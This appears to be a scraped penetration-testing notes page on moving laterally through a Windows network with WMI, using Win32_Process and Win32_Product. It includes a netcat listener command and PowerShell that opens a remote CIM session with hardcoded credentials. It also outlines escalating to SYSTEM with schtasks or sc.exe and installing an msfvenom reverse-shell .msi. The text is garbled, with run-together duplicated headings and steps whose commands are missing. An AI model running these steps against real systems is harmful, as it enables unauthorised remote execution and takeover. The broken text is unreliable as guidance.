Example
(1) Using Win_32_Process
Win_32_Process1. Start a listener on the attacker machine
$ nc -lvnp 99992. Create a new WMI session against our target machine (iis.test.com) and invoke the Create method from the Win32_Process class:
iis.test.com) and invoke the Create method from the Win32_Process class:PS C:\> $username = 'admin';
PS C:\> $password = 'pass';
PS C:\> $securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
PS C:\> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
PS C:\> $Opt = New-CimSessionOption -Protocol Dcom
PS C:\> $Session = New-CimSession -ComputerName iis.test.com -Credential $credential -SessionOption $Opt -ErrorAction Stop 3. Escalate privilege to the highest privileged system user (SYSTEM):
SYSTEM):3.1 Using schtasks
schtasks3.2 Using sc.exe
sc.exe (2) Using .msi packages and Win32_Product
.msi packages and Win32_Product1. Craft the reverse shell payload (msfvenom) in the .msi format
msfvenom) in the .msi format2. Copy the payload over to the target machine using SMB (or any other methods available):
3. Create a new WMI session against our target machine (iis.test.com) and invoke the Install method from the Win32_Product class:
iis.test.com) and invoke the Install method from the Win32_Product class:Last updated